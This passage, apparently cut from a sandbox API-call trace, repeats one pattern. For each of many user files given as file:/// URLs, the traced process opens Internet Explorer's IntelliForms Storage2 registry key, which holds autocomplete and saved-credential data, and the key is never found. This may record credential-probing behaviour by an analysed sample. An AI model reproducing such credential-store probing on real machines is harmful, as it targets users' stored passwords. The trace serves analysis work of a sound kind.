samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.117] CoTaskMemFree (pv=0x6295b8) [0078.118] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/AScq_WfPx5eVv.jpg", lpSrch="?") returned 0x0 [0078.118] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/AScq_WfPx5eVv.jpg") returned 51 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.118] CoTaskMemFree (pv=0x66a4f0) [0078.118] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/84RpuJ.bmp", lpSrch="?") returned 0x0 [0078.118] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/84RpuJ.bmp") returned 80 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.118] CoTaskMemFree (pv=0x6297c8) [0078.118] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/akiGCeHcu.pps", lpSrch="?") returned 0x0 [0078.118] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/akiGCeHcu.pps") returned 59 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.118] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.118] CoTaskMemFree (pv=0x6596b0) [0078.119] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/Iv_h9CH.flv", lpSrch="?") returned 0x0 [0078.119] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/Iv_h9CH.flv") returned 48 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.119] CoTaskMemFree (pv=0x66a640) [0078.119] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/6u2c_hneORgzlDudqI6.jpg", lpSrch="?") returned 0x0 [0078.119] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/6u2c_hneORgzlDudqI6.jpg") returned 85 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.119] CoTaskMemFree (pv=0x647e50) [0078.119] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/dyQ2.docx", lpSrch="?") returned 0x0 [0078.119] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/dyQ2.docx") returned 44 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.119] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.120] CoTaskMemFree (pv=0x673378) [0078.120] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/2-61pH6H-7.rtf", lpSrch="?") returned 0x0 [0078.120] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/2-61pH6H-7.rtf") returned 60 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.120] CoTaskMemFree (pv=0x657a60) [0078.120] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/1ZD5iYh1Iu_UrWa4vWC.ots", lpSrch="?") returned 0x0 [0078.120] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/1ZD5iYh1Iu_UrWa4vWC.ots") returned 62 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.120] CoTaskMemFree (pv=0x657bf8) [0078.120] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/xWcPWzp4M.bmp", lpSrch="?") returned 0x0 [0078.120] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/xWcPWzp4M.bmp") returned 46 [0078.120] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.121] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.121] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.121] CoTaskMemFree (pv=0x6733e0) [0078.121] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/Vjoto7ac8Ml7Qqu.rtf", lpSrch="?") returned 0x0 [0078.121] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/Vjoto7ac8Ml7Qqu.rtf") returned 54 [0078.121] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.121] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.121] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.124] CoTaskMemFree (pv=0x641ae0) [0078.124] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/iT%20F.rtf", lpSrch="?") returned 0x0 [0078.124] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/iT%20F.rtf") returned 43 [0078.124] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.124] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.124] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.124] CoTaskMemFree (pv=0x62ccd0) [0078.124] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/k-nU.pptx", lpSrch="?") returned 0x0 [0078.124] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/k-nU.pptx") returned 67 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.125] CoTaskMemFree (pv=0x6680f0) [0078.125] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/0c%20b0c.flv", lpSrch="?") returned 0x0 [0078.125] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/0c%20b0c.flv") returned 65 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.125] CoTaskMemFree (pv=0x6682a0) [0078.125] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/MSCLMkB-Dsa.gif", lpSrch="?") returned 0x0 [0078.125] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/MSCLMkB-Dsa.gif") returned 90 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.125] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.125] CoTaskMemFree (pv=0x643f28) [0078.125] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/DjzKiKYyG-r5ZB_A7E.odt", lpSrch="?") returned 0x0 [0078.126] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/DjzKiKYyG-r5ZB_A7E.odt") returned 68 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.126] CoTaskMemFree (pv=0x665060) [0078.126] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/-YpRQbVHl.mkv", lpSrch="?") returned 0x0 [0078.126] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/-YpRQbVHl.mkv") returned 54 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.126] CoTaskMemFree (pv=0x641b58) [0078.126] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/O4IEcL9OguAxAVsHY9.mkv", lpSrch="?") returned 0x0 [0078.126] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/O4IEcL9OguAxAVsHY9.mkv") returned 92 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.126] CoTaskMemFree (pv=0x65a4e0) [0078.127] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/uMtbRtnIzAhSTohQ.flv", lpSrch="?") returned 0x0 [0078.127] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/uMtbRtnIzAhSTohQ.flv") returned 53 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.127] CoTaskMemFree (pv=0x641bd0) [0078.127] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2vA_V4.mkv", lpSrch="?") returned 0x0 [0078.127] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2vA_V4.mkv") returned 68 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.127] CoTaskMemFree (pv=0x665228) [0078.127] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/S_Z7Ickdh9-WJJ.pps", lpSrch="?") returned 0x0 [0078.127] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/S_Z7Ickdh9-WJJ.pps") returned 51 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.127] CoTaskMemFree (pv=0x66a790) [0078.128] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/rj5cNBCh.pptx", lpSrch="?") returned 0x0 [0078.128] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/rj5cNBCh.pptx") returned 57 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.128] CoTaskMemFree (pv=0x6585b0) [0078.128] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/5oiqHnHl8I223gpUi.odp", lpSrch="?") returned 0x0 [0078.128] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/5oiqHnHl8I223gpUi.odp") returned 67 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.128] CoTaskMemFree (pv=0x668450) [0078.128] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/U8BP1j_3Up.ppt", lpSrch="?") returned 0x0 [0078.128] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/U8BP1j_3Up.ppt") returned 55 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.128] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.128] CoTaskMemFree (pv=0x642080) [0078.129] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/w9CaZahKDJqsLzF11/z-43MgS7.gif", lpSrch="?") returned 0x0 [0078.129] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/w9CaZahKDJqsLzF11/z-43MgS7.gif") returned 80 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.129] CoTaskMemFree (pv=0x629b38) [0078.129] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/TlHiPBFi5TbSXZCO.mkv", lpSrch="?") returned 0x0 [0078.129] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/TlHiPBFi5TbSXZCO.mkv") returned 82 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.129] CoTaskMemFree (pv=0x629d48) [0078.129] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/gnELorQjBy.png", lpSrch="?") returned 0x0 [0078.129] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/gnELorQjBy.png") returned 68 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.129] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.130] CoTaskMemFree (pv=0x6653f0) [0078.130] StrStrIW 